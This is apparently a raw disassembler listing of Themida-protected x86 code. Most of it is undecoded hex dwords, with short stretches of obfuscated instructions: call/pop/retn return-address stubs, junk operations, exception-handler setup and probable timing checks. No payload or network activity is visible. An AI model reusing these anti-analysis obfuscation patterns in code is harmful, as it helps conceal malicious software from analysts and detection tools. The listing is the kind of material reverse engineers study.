dd 144D798Dh, 0DB816606h, 0E1FF2C58h, 0BD83DF8Bh, 6142671h
dd 0A8840F00h, 8B000004h, 1406BD9Dh, 8E906h, 9DE90000h
dd 5794420Dh, 0BD832227h, 6142671h, 0A3840F01h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 6781C355h, 665CDF81h, 0BD833984h, 6142671h
dd 3D860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 896FC355h, 1419AD9Dh
dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0F3BB9FC3h, 0C14BCA51h, 0B531FC85h, 614084Dh
dd 0F8D98C66h, 8B04E180h, 142C85BDh, 0FC90A06h, 1C784h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 8A60E046h, 61D18BF8h, 1969858Bh, 6A0614h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0FED542C3h, 4001061Bh, 0E2040BBh, 8185337Ah, 6A06141Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 76D9C352h, 77480FDCh, 0E998A22Ch, 0Ah, 0E8D59C3Dh
dd 0F464878h, 50504012h, 0E8525052h, 0Eh, 24233FDFh, 0E2B9E30Dh
dd 0D5EA078Ah, 0F5B1BD6h, 5AFE8B31h, 0E8310F58h, 5, 69740082h
dd 870F9Eh, 5F000000h, 489585Ah, 0C1BD2324h, 6A06142Bh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 51FC2CD9h, 89624BFDh, 14310D95h, 9CF06806h
dd 505376C7h, 810F52h, 0F000000h, 10E831h, 0B05C0000h
dd 106CA522h, 0F99904D4h, 0D647B7A1h, 5A5F20E5h, 34815F58h
dd 0D89F0F24h, 55006A76h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 3F3210BAh, 0CF81661Ch
dd 95FF90CBh, 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 9AC35545h, 0A830F90h, 60000000h, 4D9B52Bh
dd 0EE8A0614h, 258D2961h, 89061402h, 17AA9885h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0FF107D5Eh, 0B8E9B090h, 6A000001h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6D24C352h
dd 0AA90858Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 806E40C3h, 8F8E04F3h, 0B65218BBh
dd 9985016Dh, 0C7061409h, 1800h, 0DE8B6600h, 1B99BD89h
dd 0B58B0614h, 617AA94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 1FC35747h, 8B52C21Dh, 140B2985h, 819D2906h
dd 89061407h, 0D59D2306h, 8B06141Ch, 14196985h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0FE220B24h, 0EAB0344Ah, 6A044689h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F54EC352h
dd 22D4C6CEh, 8973B750h, 66562434h, 5FEDDFBBh, 90B5FFFCh
dd 8B0617AAh, 1421F5BDh, 0A54C6806h, 6E824F1h, 70000000h
dd 691FB956h, 6ABB66C7h, 34815F16h, 0EEA6B324h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 98858D0Dh, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8964C357h, 140839BDh
dd 9D9D8B06h, 50061408h, 0CE9h, 0F141C00h, 9DCD9470h, 0B47DDA89h
dd 240489ECh, 0C830Fh, 8D0F0000h, 6, 1A899589h, 0B5890614h
dd 6141B6Dh, 9AD95FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 500972C3h, 615BDC8Ah
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 78C35242h
dd 5E6934E9h, 661BACC5h, 0C7BA30BFh, 14267185h, 306h, 0FDB50900h
dd 83061425h, 17AA98BDh, 840F0006h, 34h, 5FF98B57h, 46E9h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0BF724BEDh, 0F21AE6Ah, 8589DFB7h, 6141535h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h
dd 0BD8BFA8Bh, 6142515h, 83FBB70Fh, 142671BDh, 850F0306h
dd 3F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0B3C35141h, 682132AAh, 0DB816635h, 0BD833CEFh
dd 617AA98h, 0C2840F00h, 81000003h, 0E0CF98C7h, 79BD8B4Ah
dd 0FF061431h, 17AA98B5h, 68A0F06h, 29000000h, 14321595h
dd 0F595FF06h, 106142Ah, 141B1DB5h, 8CB58B06h, 0B30617AAh
dd 106C748h, 0E9000100h, 9, 3CBE553Dh, 4C15DAB1h, 57C381ACh
dd 5028EE45h, 3489F98Ah, 0BD8BF824h, 614322Dh, 0AA98B5FFh
dd 8D890617h, 6140031h, 0B3195FFh, 6A0614h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 81B814C3h
dd 7B41E4DBh, 0B58BF96Bh, 617AA8Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 49C35242h, 59BD8B67h, 8906140Ch
dd 14142D95h, 0D5858B06h, 0F061421h, 687h, 0A0CF8100h
dd 8919022Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 958BBE3Ch, 6143229h, 28E0Fh
dd 0DD8A0000h, 83F88B66h, 9D8B04C2h, 6142989h, 0F5205089h
dd 291B589h, 858D0614h, 617BE06h, 17880Fh, 12E90000h, 2E000000h
dd 0D54EA313h, 2DD88652h, 3A9F5D9Bh, 717948B1h, 0B88689E4h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0F301C357h, 17A159B7h, 0BD8B2D82h
dd 6141711h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0FF0569C3h, 17AA98B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 4DC78198h, 0FF4C46D0h, 14093995h, 53609606h, 6658C88Bh
dd 6178EEBFh, 50606050h, 5A310F52h, 0FE858h, 16CB0000h
dd 0F98412CBh, 640941A6h, 0F04AD2DBh, 0F615ACBh, 28Fh
dd 61616000h, 0B5FFF596h, 617AA98h, 21F5BD8Bh, 95FF0614h
dd 61420F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0C9C35040h, 75201DC5h, 0C21BD83h, 0F000614h, 8484h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0CCD9D29h, 6830Fh, 9D8B0000h, 6142EA5h
dd 0E8525050h, 0Eh, 666BE5E3h, 0AD0FE774h, 238B746Ah, 0BE92510h
dd 0E6000000h, 10A437AFh, 0A52D6A7Ch, 0F5BD8ADh, 4D6BB31h
dd 585A3464h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 9462C357h, 8B2DF337h
dd 142EC99Dh, 98B5FF06h, 6A0617AAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 7E6EC350h
dd 0DE828h, 0F8430000h, 7C1A2C4Fh, 789750D4h, 81F0EB41h
dd 0EE3AE7CFh, 0E3815F1Fh, 709BF455h, 2B195FFh, 81660614h
dd 0FF90D3CBh, 17AA98B5h, 0A9B53106h, 0FF06140Fh, 14308195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 9CC110FFh, 33EC0439h, 0FFBF0F05h, 0EE8h
dd 0CF28DC00h, 0DC19B30Ah, 0A7D3CC78h, 89D6AF5Fh, 14052D95h
dd 0BD835B06h, 61409F5h, 36840F02h, 29000000h, 140E6985h
dd 1858B06h, 8B06142Dh, 142CA9BDh, 0C606h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FCC35646h, 43BF665Ch
dd 4D85C709h, 61424h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0F54BC351h, 8B1A3CB9h
dd 1424F59Dh, 0F42DE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 5CC73FC3h, 6AC18BBCh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0ABC7C356h, 15EEF1A1h, 0F5FF46B8h, 25E408BFh
dd 99858D2Ah, 6A06140Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0B347C352h, 0BEB36144h
dd 0F59FA3F2h, 0B7525090h, 52310F02h, 5BD98B66h, 6650585Ah
dd 0E890DA8Bh, 12h, 0D128BEA9h, 0AF216343h, 9193CE38h
dd 93DE7173h, 9D8BC9A1h, 61406BDh, 6A006A5Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0CB57C356h, 0F006ACDh, 68Ah, 45BD2300h, 8B061408h, 142C2DBDh
dd 17858D06h, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0B272C357h, 9E9C7087h
dd 291B97B9h, 14165DB5h, 0A58D0906h, 83061423h, 8B6605C0h
dd 0FD8A90DAh, 9034B750h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 6BC35545h, 58BFCA47h, 6A2B6028h, 5ABF6600h
dd 66006A2Ah, 0FFA0FABBh, 141A7195h, 25BD8B06h, 8D061416h
dd 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0BF8C1B2Ch, 53E31913h, 6AD1FFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 1F6BFCC3h, 7E94B2Bh, 0F6000000h, 0AFC66B85h, 9D098197h
dd 61409A9h, 12CDBD83h, 0F010614h, 7185h, 89026A00h, 14159195h
dd 12E99006h, 54000000h, 7899A551h, 0B4FE0463h, 462A6C97h
dd 6EBA3CD9h, 90B750DAh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 567A9539h, 782E103h, 95FF1052h
dd 6140939h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 85C35242h, 23ADB589h, 5DE90614h, 0E8000010h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6192C21h
push 0
push edi
call sub_59B812
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B812 proc near ; CODE XREF: Themida_:0059B80Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_59B812 endp
; ---------------------------------------------------------------------------
inc eax
pusha
cdq
sub eax, 8D29F892h
or eax, 8906141Dh
mov ebp, 6140C2Dh
push edx
mov ebx, 5915444Eh
pop ebx
push eax
mov bx, 0A6D2h
pop edi
lea eax, [ebp+6179623h]
push 0
push eax
call sub_59B852
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B852 proc near ; CODE XREF: Themida_:0059B84Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_59B852 endp
; ---------------------------------------------------------------------------
dw 8D69h
; ---------------------------------------------------------------------------
pop es
cmpsd
inc ebx
sbb [eax+esi*8+50h], ecx
jg loc_59B873
mov bl, 42h
loc_59B873: ; CODE XREF: Themida_:0059B86Bj
mov [esp], eax
push 0
push eax
call sub_59B881
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B881 proc near ; CODE XREF: Themida_:0059B879p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_59B881 endp
; ---------------------------------------------------------------------------
db 16h, 0F3h, 42h
; ---------------------------------------------------------------------------
or ah, [esi-45h]
sbb ah, cl
sub [ebp+61415F5h], edi
push large dword ptr fs:0
jmp loc_59B8BD
; ---------------------------------------------------------------------------
db 74h
dd 7216D044h, 538E009Ch, 785864B8h, 0D1ED2C58h
db 2Eh
; ---------------------------------------------------------------------------
loc_59B8BD: ; CODE XREF: Themida_:0059B8A6j
mov large fs:0, esp
push 0
push esi
call sub_59B8CF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B8CF proc near ; CODE XREF: Themida_:0059B8C7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_59B8CF endp
; ---------------------------------------------------------------------------
xor eax, 1CD7A5EFh
inc esp
mov eax, 66B3517Fh
pop edi
jns loc_59B8F4
mov di, bx
loc_59B8F4: ; CODE XREF: Themida_:0059B8EBj
inc dword ptr [ebp+614236Dh]
push 0
push eax
call sub_59B905
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B905 proc near ; CODE XREF: Themida_:0059B8FDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_59B905 endp
; ---------------------------------------------------------------------------
mov [eax-0Dh], edi
jl short loc_59B999
lahf
sub al, 0Ah
mov [ebp+61406C9h], eax
push 0FFFFFFFFh
push 0
push ecx
call sub_59B930
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B930 proc near ; CODE XREF: Themida_:0059B928p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_59B930 endp
; ---------------------------------------------------------------------------
dd 41937E7Bh, 57412C6Ch, 0B5FF91CAh, 6142111h, 0EE8h, 262B8C00h
dd 0ABEF1BADh, 768860C9h, 8B8D1F3Dh, 1430299Dh, 95FF5B06h
dd 6142B19h, 1AAE9h, 0E9BB6600h, 8B00B031h, 141685BDh
dd 0F5BD8B06h, 0E606141Fh, 13E870h, 8EF40000h, 0FABCD83Fh
dd 0FBC1A946h
db 6Ah
; ---------------------------------------------------------------------------
loc_59B999: ; CODE XREF: Themida_:0059B918j
xor ah, cl
mov ds:0A58629D4h, eax
or cl, ch
pop es
; ---------------------------------------------------------------------------
db 0
dd 47760000h, 0B34A27EFh, 71E45BD9h, 5E9h, 65C95600h, 613CDF78h
dd 15D830Fh, 13E80000h, 87000000h, 1E5F50CCh, 88631CC4h
dd 3E69D463h, 424CA399h, 8D29C71Dh, 6142C6Dh, 0C8B60F5Fh
dd 15C18589h, 6BA0614h, 0E9000000h, 0Dh, 4CC6F6C5h, 472BBB37h
dd 677CBB0Ah, 9BD5BF56h, 0C18B69A6h, 2820F60h, 60000000h
dd 0CD952961h, 61061405h, 0FE9h, 0F8E0B000h, 50905FC2h
dd 2085FD13h, 0C8B8270Dh, 0BB04E8C1h, 46B81533h, 8BE2F766h
dd 60C82BDEh, 37B0EE81h, 0E9506D74h, 0Eh, 0A12009E5h, 270C4F58h
dd 91EFA181h, 615A8397h, 3C4496BFh, 9D18B4Bh, 142A9D8Dh
dd 0B5E906h, 9D290000h, 6142375h, 554C858Bh, 0DF8B4947h
dd 83DE8B66h, 12E907C0h, 7A000000h, 96059A6Eh, 5F5EA3A3h
dd 33B286DCh, 0D838C9F3h, 0C0839Fh, 5399D89h, 0D03B0614h
dd 14830Fh, 0BD8B0000h, 61403F9h, 0A351BB66h, 6AE9h, 0E3816600h
dd 8D8B66A8h, 0FFFFFFFFh, 0E9D98B66h, 0Ah, 99CCFECCh, 0A6E40471h
dd 0E183A606h, 44840F01h, 66000000h, 0CE69F781h, 0FFFFA583h
dd 0FFEFFFFh, 0E86h, 9E900h, 9CBF0000h, 4DAD58DFh, 89181CEBh
dd 47554C95h, 14E949h, 0F56E0000h, 2AA9D1EEh, 3BFA1F1h
dd 0DAD3D158h, 3C61978Fh, 0E9E062h, 8D000000h, 18AB92B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 5768C369h, 0C75B165Bh, 6A006Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0B4AAC5C3h, 9E9h, 0B4829C00h, 5B32B41Bh, 95897963h
dd 6141AE5h, 116995FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 106531C3h, 0F7120477h
dd 68F0FF8h, 89000000h, 14303995h, 0F5BB906h, 95890000h
dd 6141C49h, 6AFCE183h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0D969C350h, 765B778Dh
dd 2C7336FEh, 12E8h, 0C157DE00h, 3EF8DC99h, 2449461Ah
dd 0CDEAAF03h, 80B5E0A3h, 0FC5FFACFh, 6AC38166h, 0B8FCh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0F8553C3h, 0C8Fh, 6820F00h, 89000000h, 14200DB5h
dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 2071C357h, 583DD979h, 0E856B3FBh
dd 11h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h, 17B308ECh, 5DBD8B54h
dd 5B06140Fh, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 0E58589F4h
dd 0E8061410h, 8, 1A6CA74Ah, 7244D3Ch, 9E9h, 0EF591D00h
dd 6A80AFF9h, 535F5F09h, 7898D89h, 0D5F0614h, 88h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CC35343h, 9E881h
dd 4780000h, 634140FDh, 0E9044B5Fh, 10h, 0ADC4B5F4h, 2F4EDD01h
dd 4AA02A9Eh, 0B0BCEE26h, 0ADBD8B5Fh, 8B061403h, 14322995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 4A7FC1C5h, 0E1FD977Bh, 9D8B9874h, 6142215h
dd 64D8D8Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 942729C3h, 0EE6416BAh, 0C28B5012h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 811DC355h, 393596F3h, 53006A4Ah, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 4F2AA7B8h, 0EED9B8CEh
dd 0BD83F86Dh, 61429ADh, 88840F00h, 89000000h, 141A2195h
dd 0B806h, 8F0F0000h, 14h, 8E8h, 0F4E7E300h, 0DCB67081h
dd 959D034Fh, 5B061411h, 4D798D8Dh, 6A0614h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0CD08D6C3h
dd 953102C9h, 6141095h, 6E9h, 0A08B8300h, 0FF510AE5h, 55006AE1h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0C27DF0ACh, 0FC6D9072h, 55B58900h, 83061406h, 142671BDh
dd 840F0006h, 476h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0DDC35141h, 8D73EDA6h, 0FE2CC79h, 0BD83FBB7h
dd 6142671h, 5E840F01h, 6A000004h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A7C4C351h
dd 6440BA36h, 95895D60h, 6140C41h, 55600ABBh, 71BD8318h
dd 3061426h, 3ED860Fh, 12E90000h, 0F0000000h, 0B65FB824h
dd 6AF0C331h, 1F8988D9h, 0FE82CE79h, 6890FAAh, 8B000000h
dd 1420C5BDh, 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0F9F66FC3h, 6AD98C66h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0F412C353h, 0D2D5CE02h, 0FE8h, 9E457A00h, 227B1760h
dd 0E4376F0Eh, 0DC3315EBh, 9646BF66h, 4E1805Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4FC35646h, 8B533095h
dd 14082DBDh, 0FC90A06h, 11C84h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 226E32F9h
dd 8B9B9BC3h, 14196985h, 0CB81F506h, 13C0BABBh, 1B818533h
dd 81660614h, 506C2DDBh, 0BF505250h, 44E9AB9Fh, 0E8310F5Bh
dd 0Fh, 6308BCA6h, 845A1F54h, 9DD85601h, 53197F26h, 585A5B5Bh
dd 0F240489h, 87h, 6A006A00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0D191C350h, 15BD9D2Bh
dd 70680614h, 817202A7h, 0A48F2434h, 0BF66721Dh, 95FF2F4Fh
dd 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 85C35545h, 89377A5Ch, 5860F9Ch, 0BF000000h, 1B538E7Ah
dd 0AA988589h, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 936FEAC3h, 62B4CB20h, 10E8E8h, 0EF680000h
dd 33A81DEh, 0F1EA4BE5h, 0B6785661h, 8B664054h, 0CEE95FF9h
dd 89000001h, 140F5D85h, 90858B06h, 0F80617AAh, 1800C7h
dd 8D890000h, 6141FE1h, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0EBD95FC3h
dd 8BF17428h, 140B2985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 217ABEEBh, 689DBA0h, 7FF8EEBFh
dd 69858B22h, 6A061419h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0D75FC350h, 76664D96h
dd 0A279CB13h, 575BD89h, 46890614h, 50006A04h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 96856741h
dd 13E8h, 0D1311400h, 30F7850Ah, 0ED74B405h, 71699149h
dd 2E6874h, 13E8h, 0D350D000h, 5E900DABh, 0B87C5E2Eh, 37823147h
dd 6C65C5A1h, 5F5B5F51h, 0B5FF9650h, 617AA90h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 81660BBBh
dd 683C53CBh, 648D8CFCh, 2B820Fh, 13E80000h, 22000000h
dd 75FCFA3h, 0DCF15F69h, 2A23ED0h, 8BD844BCh, 0DE987A7h
dd 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 2434815Bh
dd 64928F03h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 7AC35545h, 0F24C108h, 858DDBB7h, 617AA98h, 0A52EBE60h
dd 8D8B3F09h, 614081Dh, 1DB75061h, 1240489h, 142E59BDh
dd 0AD95FF06h, 6A061409h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 7629C352h, 6AC2C5ECh
dd 297A79B3h, 141109BDh, 0C7F86106h, 14267185h, 306h, 52BF6600h
dd 98BD83F8h, 617AAh, 3D840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8040B6C3h
dd 8F5D0B95h, 0E9FE8B66h, 2Eh, 0EE9h, 0D49FB700h, 1514D235h
dd 0B4B1CE66h, 50359E40h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 9E3C1DC3h, 0F99589D9h
dd 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 6B5EC353h, 78AC9441h, 0EB801ABCh
dd 71BD831Fh, 3061426h, 4ED850Fh, 6E90000h, 0E000000h
dd 3227E7DCh, 0FD8D89FCh, 83061400h, 17AA98BDh, 840F0006h
dd 4CFh, 0AA98B5FFh, 0BD230617h, 614267Dh, 2AF595FFh, 6A0614h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 4B61ACC3h, 859D8996h, 8B06140Bh, 17AA8CB5h, 7D9D8B06h
dd 0C7061430h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 14E973h, 9DFE0000h, 7D53C9BCh
dd 73DD2433h, 0F238137Dh, 951C566Dh, 0F50034Fh, 484h, 0FB8B5600h
dd 2434895Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 0D7C35343h, 23877BDAh, 3C9766Ch, 141039BDh, 98B5FF06h
dd 0F0617AAh, 68Dh, 85BD8B00h, 0FF061404h, 140B3195h, 5FBF6606h
dd 8CB58B3Bh, 6A0617AAh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 9F8AC350h, 8B37C041h
dd 1421D585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 20918EAEh, 86891459h, 0C4h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F1C35747h, 0E7A49C36h
dd 283321FFh, 7DBD8B0Ch, 8B06140Ah, 14322995h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 3715C77Eh, 19619501h, 8B660614h, 4C283DAh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h, 0EA90F9F6h
dd 249CBB48h, 508924F9h, 25BD8B20h, 8D06142Eh, 17BE0685h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 77BC0343h, 84F78910h, 89526D4Ch, 1405818Dh
dd 86895B06h, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 86C35242h, 8B66EE96h, 0C38166DEh, 6A504Bh
dd 0AA98B5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 66FFF4C3h, 6179EF81h, 5E8h, 32901100h
dd 0CB802ABFh, 95FF5BA2h, 6140939h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0B3C35646h, 1577A7BBh, 8B961967h
dd 0E86050D9h, 10h, 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh
dd 3665B966h, 61B5B25Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 8424ECE7h, 66E6E380h
dd 77BDCB81h, 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E953EFC3h, 8, 52E8740h
dd 36C52822h, 25A5B589h, 95FF0614h, 61420F5h, 0F9858B60h
dd 0E9061431h, 5, 0DAA6F02Fh, 0BD8361E4h, 6140C21h, 9E840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 8444C351h, 0BFBD26BBh, 3E97CD95h
dd 11E86096h, 0CA000000h, 0C709718h, 1E162496h, 755762FDh
dd 57718A5Ch, 50596160h, 0F48B352h, 0F525031h, 5A585A31h
dd 60506158h, 1161BA66h, 0CE8h, 999A8A00h, 1AAF7307h, 8A19D9DDh
dd 5F2FB76Ch, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0E9B778C3h, 5, 9C518D3Bh, 0FD98BA9h
dd 48Ch, 0FCBB6600h, 98B5FFFAh, 6A0617AAh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 85E1C356h
dd 0FF424DCh, 684h, 918D0100h, 6006140Eh, 2601958Bh, 95890614h
dd 6141141h, 0B195FF61h, 0E8061402h, 7, 21935E0Fh, 8913BBFFh
dd 14198185h, 0B5FF5F06h, 617AA98h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 59C35646h, 0DF8166C7h, 95FF8E92h
dd 6143081h, 10E952h, 0C47F0000h, 1E8E65AFh, 8B7B2E25h
